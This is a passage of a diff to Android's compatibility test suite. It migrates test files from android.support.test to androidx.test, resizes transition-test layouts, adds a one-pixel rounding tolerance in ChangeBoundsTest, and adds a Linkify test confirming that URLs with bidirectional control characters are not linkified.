-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.TextAppearanceSpan;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/style/cts/TtsSpanTest.java b/tests/tests/text/src/android/text/style/cts/TtsSpanTest.java
index c8a23fc..2b2dcca 100644
--- a/tests/tests/text/src/android/text/style/cts/TtsSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/TtsSpanTest.java
@@ -20,10 +20,11 @@
 
 import android.os.Parcel;
 import android.os.PersistableBundle;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.style.TtsSpan;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/style/cts/TypefaceSpanTest.java b/tests/tests/text/src/android/text/style/cts/TypefaceSpanTest.java
index 317cd8e..fc0fa18 100644
--- a/tests/tests/text/src/android/text/style/cts/TypefaceSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/TypefaceSpanTest.java
@@ -22,11 +22,12 @@
 
 import android.graphics.Typeface;
 import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.TypefaceSpan;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/style/cts/URLSpanTest.java b/tests/tests/text/src/android/text/style/cts/URLSpanTest.java
index 067b56b..a273c6b 100644
--- a/tests/tests/text/src/android/text/style/cts/URLSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/URLSpanTest.java
@@ -23,15 +23,16 @@
 import android.app.Instrumentation;
 import android.app.Instrumentation.ActivityMonitor;
 import android.os.Parcel;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.cts.R;
 import android.text.style.URLSpan;
 import android.widget.TextView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/text/src/android/text/style/cts/UnderlineSpanTest.java b/tests/tests/text/src/android/text/style/cts/UnderlineSpanTest.java
index 581417f..bdf1326 100644
--- a/tests/tests/text/src/android/text/style/cts/UnderlineSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/UnderlineSpanTest.java
@@ -21,14 +21,15 @@
 import static org.junit.Assert.assertTrue;
 
 import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.SpannableString;
 import android.text.Spanned;
 import android.text.StaticLayout;
 import android.text.TextPaint;
 import android.text.style.UnderlineSpan;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/util/cts/LinkifyTest.java b/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
index c0ad4b6..99d3c54 100644
--- a/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
+++ b/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
@@ -21,10 +21,6 @@
 import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.telephony.TelephonyManager;
 import android.text.Spannable;
 import android.text.SpannableString;
@@ -34,6 +30,11 @@
 import android.text.util.Linkify.TransformFilter;
 import android.widget.TextView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -935,6 +936,17 @@
                 domain.length(), email);
     }
 
+    @Test
+    public void testAddLinks_unsupportedCharacters() {
+        String url = "moc.diordna.com";
+        verifyAddLinksWithWebUrlSucceeds(url + " should be linkified", url);
+
+        verifyAddLinksWithWebUrlFails("u202C character should not be linkified", "\u202C" + url);
+        verifyAddLinksWithWebUrlFails("u202D character should not be linkified", url + "\u202D");
+        verifyAddLinksWithWebUrlFails(
+                "u202E character should not be linkified", url + "moc\u202E.diordna.com");
+    }
+
     // Utility functions
     private static void verifyAddLinksWithWebUrlSucceeds(String msg, String url) {
         verifyAddLinksSucceeds(msg, url, Linkify.WEB_URLS);
diff --git a/tests/tests/text/src/android/text/util/cts/Rfc822TokenTest.java b/tests/tests/text/src/android/text/util/cts/Rfc822TokenTest.java
index 47c4544..2725f72 100644
--- a/tests/tests/text/src/android/text/util/cts/Rfc822TokenTest.java
+++ b/tests/tests/text/src/android/text/util/cts/Rfc822TokenTest.java
@@ -19,10 +19,11 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNull;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.util.Rfc822Token;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/util/cts/Rfc822TokenizerTest.java b/tests/tests/text/src/android/text/util/cts/Rfc822TokenizerTest.java
index c8b81f4..2caea74 100644
--- a/tests/tests/text/src/android/text/util/cts/Rfc822TokenizerTest.java
+++ b/tests/tests/text/src/android/text/util/cts/Rfc822TokenizerTest.java
@@ -19,11 +19,12 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.fail;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.util.Rfc822Token;
 import android.text.util.Rfc822Tokenizer;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/theme/Android.mk b/tests/tests/theme/Android.mk
index ff8536b..771a6de 100644
--- a/tests/tests/theme/Android.mk
+++ b/tests/tests/theme/Android.mk
@@ -24,7 +24,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
diff --git a/tests/tests/theme/AndroidManifest.xml b/tests/tests/theme/AndroidManifest.xml
index e3ba0c6..0264cbf 100644
--- a/tests/tests/theme/AndroidManifest.xml
+++ b/tests/tests/theme/AndroidManifest.xml
@@ -23,7 +23,7 @@
         <activity android:name="android.theme.cts.DeviceDefaultActivity" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="android.theme.cts"
             android:label="CTS tests for themes">
         <meta-data android:name="listener"
diff --git a/tests/tests/toast/Android.mk b/tests/tests/toast/Android.mk
index bcf7b7e..4c8cd51 100644
--- a/tests/tests/toast/Android.mk
+++ b/tests/tests/toast/Android.mk
@@ -23,7 +23,7 @@
 
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/toast/AndroidManifest.xml b/tests/tests/toast/AndroidManifest.xml
index 82465b0..9b0804f 100644
--- a/tests/tests/toast/AndroidManifest.xml
+++ b/tests/tests/toast/AndroidManifest.xml
@@ -23,7 +23,7 @@
     <application>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.widget.toast.cts"
         android:label="CTS tests for toast windows">
         <meta-data android:name="listener"
diff --git a/tests/tests/toast/src/android/widget/toast/cts/BaseToastTest.java b/tests/tests/toast/src/android/widget/toast/cts/BaseToastTest.java
index fd75309..df1d47a 100644
--- a/tests/tests/toast/src/android/widget/toast/cts/BaseToastTest.java
+++ b/tests/tests/toast/src/android/widget/toast/cts/BaseToastTest.java
@@ -21,10 +21,12 @@
 import android.content.Context;
 import android.graphics.PixelFormat;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
 import android.view.WindowManager;
 import android.widget.TextView;
 import android.widget.Toast;
+
+import androidx.test.InstrumentationRegistry;
+
 import org.junit.Before;
 
 /**
diff --git a/tests/tests/toast/src/android/widget/toast/cts/LegacyToastTest.java b/tests/tests/toast/src/android/widget/toast/cts/LegacyToastTest.java
index 4ac88b3..63d807d 100644
--- a/tests/tests/toast/src/android/widget/toast/cts/LegacyToastTest.java
+++ b/tests/tests/toast/src/android/widget/toast/cts/LegacyToastTest.java
@@ -16,13 +16,15 @@
 
 package android.widget.toast.cts;
 
-import android.support.test.runner.AndroidJUnit4;
+import static org.junit.Assert.fail;
+
 import android.view.WindowManager;
+
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import static org.junit.Assert.fail;
-
 /**
  * Test whether toasts are properly shown. For apps targeting API 25+
  * like this app the only way to add toast windows is via the dedicated
diff --git a/tests/tests/toastlegacy/Android.mk b/tests/tests/toastlegacy/Android.mk
index 217fe55..15dad7d 100644
--- a/tests/tests/toastlegacy/Android.mk
+++ b/tests/tests/toastlegacy/Android.mk
@@ -23,7 +23,7 @@
 
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) \
     ../toast/src/android/widget/toast/cts/BaseToastTest.java
diff --git a/tests/tests/toastlegacy/AndroidManifest.xml b/tests/tests/toastlegacy/AndroidManifest.xml
index 8529b5c..df11613 100644
--- a/tests/tests/toastlegacy/AndroidManifest.xml
+++ b/tests/tests/toastlegacy/AndroidManifest.xml
@@ -24,7 +24,7 @@
         </activity>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.widget.toast.legacy.cts"
         android:label="CTS tests for legacy toast windows">
         <meta-data android:name="listener"
diff --git a/tests/tests/toastlegacy/src/android/widget/toast/cts/legacy/ToastTest.java b/tests/tests/toastlegacy/src/android/widget/toast/cts/legacy/ToastTest.java
index c2ecb3a..9f734e0 100644
--- a/tests/tests/toastlegacy/src/android/widget/toast/cts/legacy/ToastTest.java
+++ b/tests/tests/toastlegacy/src/android/widget/toast/cts/legacy/ToastTest.java
@@ -16,11 +16,13 @@
 
 package android.widget.toast.cts.legacy;
 
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.WindowManager;
 import android.view.accessibility.AccessibilityEvent;
 import android.widget.toast.cts.BaseToastTest;
+
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Assert;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/transition/Android.mk b/tests/tests/transition/Android.mk
index 5b721e0..b6ed8f4 100644
--- a/tests/tests/transition/Android.mk
+++ b/tests/tests/transition/Android.mk
@@ -25,12 +25,12 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_STATIC_JAVA_LIBRARIES += \
-    android-support-test \
+    androidx.test.rules \
     mockito-target-minus-junit4 \
     hamcrest-library \
     android-common \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     platform-test-annotations
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
diff --git a/tests/tests/transition/AndroidManifest.xml b/tests/tests/transition/AndroidManifest.xml
index 671958f..c825653 100644
--- a/tests/tests/transition/AndroidManifest.xml
+++ b/tests/tests/transition/AndroidManifest.xml
@@ -26,7 +26,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.transition.cts"
                      android:label="CTS tests for android.transition package">
         <meta-data android:name="listener"
diff --git a/tests/tests/transition/res/layout/scene1.xml b/tests/tests/transition/res/layout/scene1.xml
index 140bb8d..35e45bb 100644
--- a/tests/tests/transition/res/layout/scene1.xml
+++ b/tests/tests/transition/res/layout/scene1.xml
@@ -19,13 +19,13 @@
                 android:layout_height="match_parent"
                 android:transitionName="holder"
                 android:id="@+id/holder">
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
+    <View android:layout_width="30dp"
+          android:layout_height="30dp"
           android:background="#F00"
           android:transitionName="red"
           android:id="@+id/redSquare" />
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
+    <View android:layout_width="30dp"
+          android:layout_height="30dp"
           android:background="#0F0"
           android:transitionName="green"
           android:id="@+id/greenSquare"
diff --git a/tests/tests/transition/res/layout/scene10.xml b/tests/tests/transition/res/layout/scene10.xml
index 5403354..2fc9001 100644
--- a/tests/tests/transition/res/layout/scene10.xml
+++ b/tests/tests/transition/res/layout/scene10.xml
@@ -22,29 +22,29 @@
     android:transitionName="holder"
     android:id="@+id/holder">
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#F00"
         android:layout_alignParentLeft="true"
         android:layout_alignParentTop="true"
         android:id="@+id/redSquare"/>
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#0F0"
         android:layout_alignParentRight="true"
         android:layout_alignParentTop="true"
         android:id="@+id/greenSquare"/>
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#00F"
         android:layout_alignParentRight="true"
         android:layout_alignParentBottom="true"
         android:id="@+id/blueSquare"/>
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#FF0"
         android:layout_alignParentLeft="true"
         android:layout_alignParentBottom="true"
diff --git a/tests/tests/transition/res/layout/scene11.xml b/tests/tests/transition/res/layout/scene11.xml
index dc6ef19..3c90df9 100644
--- a/tests/tests/transition/res/layout/scene11.xml
+++ b/tests/tests/transition/res/layout/scene11.xml
@@ -23,6 +23,6 @@
     <ImageView
         android:id="@+id/redSquare"
         android:src="#F00"
-        android:layout_width="10dp"
-        android:layout_height="10dp"/>
+        android:layout_width="30dp"
+        android:layout_height="30dp"/>
 </RelativeLayout>
diff --git a/tests/tests/transition/res/layout/scene12.xml b/tests/tests/transition/res/layout/scene12.xml
index 559ab39..239901e 100644
--- a/tests/tests/transition/res/layout/scene12.xml
+++ b/tests/tests/transition/res/layout/scene12.xml
@@ -23,23 +23,23 @@
     android:orientation="horizontal"
     android:id="@+id/holder">
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#F00"
         android:id="@+id/redSquare"/>
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#0F0"
         android:id="@+id/greenSquare"/>
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#00F"
         android:id="@+id/blueSquare"/>
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#FF0"
         android:id="@+id/yellowSquare"/>
 </LinearLayout>
diff --git a/tests/tests/transition/res/layout/scene13.xml b/tests/tests/transition/res/layout/scene13.xml
index e6a4caf..c7c0575 100644
--- a/tests/tests/transition/res/layout/scene13.xml
+++ b/tests/tests/transition/res/layout/scene13.xml
@@ -22,34 +22,34 @@
     android:transitionName="holder"
     android:id="@+id/holder">
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#F00"
         android:layout_centerInParent="true"
         android:transitionName="redSquare"
         android:id="@+id/redSquare"/>
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#000"
         android:layout_alignParentRight="true"
         android:layout_alignParentTop="true"
         android:id="@+id/blackSquare"/>
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#0F0"
         android:layout_toRightOf="@id/blackSquare"
         android:id="@+id/greenSquare"/>
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#00F"
         android:layout_toRightOf="@id/greenSquare"
         android:id="@+id/blueSquare"/>
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#FF0"
         android:layout_toRightOf="@id/blueSquare"
         android:id="@+id/yellowSquare"/>
diff --git a/tests/tests/transition/res/layout/scene14.xml b/tests/tests/transition/res/layout/scene14.xml
index fd2dc4b..2ccf8bb 100644
--- a/tests/tests/transition/res/layout/scene14.xml
+++ b/tests/tests/transition/res/layout/scene14.xml
@@ -23,7 +23,7 @@
     <ImageView
         android:id="@+id/redSquare"
         android:src="#F00"
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:visibility="gone"/>
 </RelativeLayout>
diff --git a/tests/tests/transition/res/layout/scene2.xml b/tests/tests/transition/res/layout/scene2.xml
index 541ec04..9e92801 100644
--- a/tests/tests/transition/res/layout/scene2.xml
+++ b/tests/tests/transition/res/layout/scene2.xml
@@ -19,13 +19,13 @@
                 android:layout_height="match_parent"
                 android:transitionName="holder"
                 android:id="@+id/holder">
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
+    <View android:layout_width="30dp"
+          android:layout_height="30dp"
           android:background="#0F0"
           android:transitionName="green"
           android:id="@+id/greenSquare" />
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
+    <View android:layout_width="30dp"
+          android:layout_height="30dp"
           android:background="#F00"
           android:transitionName="red"
           android:id="@+id/redSquare"
diff --git a/tests/tests/transition/res/layout/scene3.xml b/tests/tests/transition/res/layout/scene3.xml
index 01fb78d..08c98a3 100644
--- a/tests/tests/transition/res/layout/scene3.xml
+++ b/tests/tests/transition/res/layout/scene3.xml
@@ -18,12 +18,12 @@
                 android:layout_width="match_parent"
                 android:layout_height="match_parent"
                 android:id="@+id/holder">
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
+    <View android:layout_width="30dp"
+          android:layout_height="30dp"
           android:background="#0F0"
           android:id="@+id/greenSquare" />
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
+    <View android:layout_width="30dp"
+          android:layout_height="30dp"
           android:background="#F00"
           android:id="@+id/redSquare"
           android:layout_toRightOf="@+id/greenSquare" />
diff --git a/tests/tests/transition/res/layout/scene6.xml b/tests/tests/transition/res/layout/scene6.xml
index 8cffee5..e3a010b 100644
--- a/tests/tests/transition/res/layout/scene6.xml
+++ b/tests/tests/transition/res/layout/scene6.xml
@@ -19,13 +19,13 @@
                 android:layout_height="match_parent"
                 android:transitionName="holder"
                 android:id="@+id/holder">
-    <View android:layout_width="30dp"
-          android:layout_height="30dp"
+    <View android:layout_width="50dp"
+          android:layout_height="50dp"
           android:background="#0F0"
           android:transitionName="green"
           android:id="@+id/greenSquare" />
-    <View android:layout_width="30dp"
-          android:layout_height="30dp"
+    <View android:layout_width="50dp"
+          android:layout_height="50dp"
           android:background="#F00"
           android:transitionName="red"
           android:id="@+id/redSquare"
diff --git a/tests/tests/transition/res/layout/scene7.xml b/tests/tests/transition/res/layout/scene7.xml
index 72c74e8..d91b959 100644
--- a/tests/tests/transition/res/layout/scene7.xml
+++ b/tests/tests/transition/res/layout/scene7.xml
@@ -19,8 +19,8 @@
                 android:layout_height="match_parent"
                 android:transitionName="holder"
                 android:id="@+id/holder">
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
+    <View android:layout_width="30dp"
+          android:layout_height="30dp"
           android:background="#0F0"
           android:transitionName="green"
           android:id="@+id/greenSquare" />
diff --git a/tests/tests/transition/res/layout/scene8.xml b/tests/tests/transition/res/layout/scene8.xml
index 69674ee..5b5c574 100644
--- a/tests/tests/transition/res/layout/scene8.xml
+++ b/tests/tests/transition/res/layout/scene8.xml
@@ -19,13 +19,13 @@
                 android:layout_height="match_parent"
                 android:transitionName="holder"
                 android:id="@+id/holder">
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
+    <View android:layout_width="30dp"
+          android:layout_height="30dp"
           android:background="#F00"
           android:transitionName="red"
           android:id="@+id/greenSquare" />
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
+    <View android:layout_width="30dp"
+          android:layout_height="30dp"
           android:background="#0F0"
           android:transitionName="green"
           android:id="@+id/redSquare"
diff --git a/tests/tests/transition/res/layout/scene9.xml b/tests/tests/transition/res/layout/scene9.xml
index 2eb3762f..66e1be3 100644
--- a/tests/tests/transition/res/layout/scene9.xml
+++ b/tests/tests/transition/res/layout/scene9.xml
@@ -20,7 +20,7 @@
                 android:transitionName="holder"
                 android:id="@+id/holder">
     <FrameLayout
-            android:layout_marginTop="50dp"
+            android:layout_marginTop="70dp"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content">
         <TextView
diff --git a/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java b/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
index 6c4de33..4d1756c 100644
--- a/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
@@ -34,8 +34,6 @@
 import android.graphics.drawable.BitmapDrawable;
 import android.graphics.drawable.Drawable;
 import android.os.Bundle;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.transition.Fade;
 import android.transition.Transition;
 import android.transition.Transition.TransitionListener;
@@ -43,6 +41,9 @@
 import android.view.View;
 import android.view.ViewGroup;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.transition.TargetTracking;
 import com.android.compatibility.common.util.transition.TrackingTransition;
diff --git a/tests/tests/transition/src/android/transition/cts/ArcMotionTest.java b/tests/tests/transition/src/android/transition/cts/ArcMotionTest.java
index db88bde..b71133b 100644
--- a/tests/tests/transition/src/android/transition/cts/ArcMotionTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ArcMotionTest.java
@@ -18,10 +18,11 @@
 import static org.junit.Assert.assertEquals;
 
 import android.graphics.Path;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.transition.ArcMotion;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/transition/src/android/transition/cts/BaseTransitionTest.java b/tests/tests/transition/src/android/transition/cts/BaseTransitionTest.java
index 5917ace..1ccd142 100644
--- a/tests/tests/transition/src/android/transition/cts/BaseTransitionTest.java
+++ b/tests/tests/transition/src/android/transition/cts/BaseTransitionTest.java
@@ -25,8 +25,6 @@
 import android.animation.Animator;
 import android.animation.ObjectAnimator;
 import android.app.Instrumentation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
 import android.transition.Scene;
 import android.transition.Transition;
 import android.transition.TransitionManager;
@@ -36,6 +34,9 @@
 import android.view.ViewGroup;
 import android.widget.FrameLayout;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/transition/src/android/transition/cts/CaptureValuesTest.java b/tests/tests/transition/src/android/transition/cts/CaptureValuesTest.java
index 538f46c..2c75a8b 100644
--- a/tests/tests/transition/src/android/transition/cts/CaptureValuesTest.java
+++ b/tests/tests/transition/src/android/transition/cts/CaptureValuesTest.java
@@ -19,8 +19,6 @@
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.transition.AutoTransition;
 import android.transition.ChangeBounds;
 import android.transition.ChangeClipBounds;
@@ -36,6 +34,9 @@
 import android.transition.TransitionValues;
 import android.util.ArrayMap;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/transition/src/android/transition/cts/ChangeBoundsTest.java b/tests/tests/transition/src/android/transition/cts/ChangeBoundsTest.java
index c35a0c0..349f767 100644
--- a/tests/tests/transition/src/android/transition/cts/ChangeBoundsTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ChangeBoundsTest.java
@@ -25,8 +25,6 @@
 import android.content.res.Resources;
 import android.graphics.Point;
 import android.graphics.Rect;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.transition.ChangeBounds;
 import android.transition.Transition;
 import android.transition.TransitionValues;
@@ -36,6 +34,9 @@
 import android.view.ViewTreeObserver;
 import android.view.animation.LinearInterpolator;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 
 import org.junit.Before;
@@ -45,8 +46,8 @@
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class ChangeBoundsTest extends BaseTransitionTest {
-    private static final int SMALL_SQUARE_SIZE_DP = 10;
-    private static final int LARGE_SQUARE_SIZE_DP = 30;
+    private static final int SMALL_SQUARE_SIZE_DP = 30;
+    private static final int LARGE_SQUARE_SIZE_DP = 50;
     private static final int SMALL_OFFSET_DP = 2;
 
     ChangeBounds mChangeBounds;
@@ -337,21 +338,27 @@
                 width = view.getWidth();
                 height = view.getHeight();
             }
-            validateDim(name, "width", dimensions.x, width);
-            validateDim(name, "height", dimensions.y, height);
-            dimensions.set(width, height);
+            int newWidth = validateDim(name, "width", dimensions.x, width);
+            int newHeight = validateDim(name, "height", dimensions.y, height);
+            dimensions.set(newWidth, newHeight);
         }
 
-        private void validateDim(String name, String dimen, int lastDim, int newDim) {
+        private int validateDim(String name, String dimen, int lastDim, int newDim) {
+            int dim = newDim;
             if (lastDim != -1) {
+                // We must give a pixel's buffer because the top-left and
+                // bottom-right may move independently, causing a rounding error
+                // in size change.
                 if (mGrow) {
                     assertTrue(name + " new " + dimen + " " + newDim
                                     + " is less than previous " + lastDim,
-                            newDim >= lastDim);
+                            newDim >= lastDim - 1);
+                    dim = Math.max(lastDim, newDim);
                 } else {
                     assertTrue(name + " new " + dimen + " " + newDim
                                     + " is more than previous " + lastDim,
-                            newDim <= lastDim);
+                            newDim <= lastDim + 1);
+                    dim = Math.min(lastDim, newDim);
                 }
                 if (newDim != lastDim) {
                     mDidChangeSize = true;
@@ -361,6 +368,7 @@
                     newDim <= mMax);
             assertTrue(name + " " + dimen + " " + newDim + " must be >= " + mMin,
                     newDim >= mMin);
+            return dim;
         }
 
         @Override
diff --git a/tests/tests/transition/src/android/transition/cts/ChangeClipBoundsTest.java b/tests/tests/transition/src/android/transition/cts/ChangeClipBoundsTest.java
index 3489391..f703fbc 100644
--- a/tests/tests/transition/src/android/transition/cts/ChangeClipBoundsTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ChangeClipBoundsTest.java
@@ -20,12 +20,13 @@
 import static org.junit.Assert.assertNull;
 
 import android.graphics.Rect;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.transition.ChangeClipBounds;
 import android.transition.TransitionManager;
 import android.view.View;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 
 import org.junit.Before;
diff --git a/tests/tests/transition/src/android/transition/cts/ChangeImageTransformTest.java b/tests/tests/transition/src/android/transition/cts/ChangeImageTransformTest.java
index 6ae8a9f..d5aa3de 100644
--- a/tests/tests/transition/src/android/transition/cts/ChangeImageTransformTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ChangeImageTransformTest.java
@@ -27,8 +27,6 @@
 import android.animation.AnimatorListenerAdapter;
 import android.graphics.Matrix;
 import android.graphics.drawable.Drawable;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.transition.ChangeImageTransform;
 import android.transition.TransitionManager;
 import android.transition.TransitionValues;
@@ -39,6 +37,9 @@
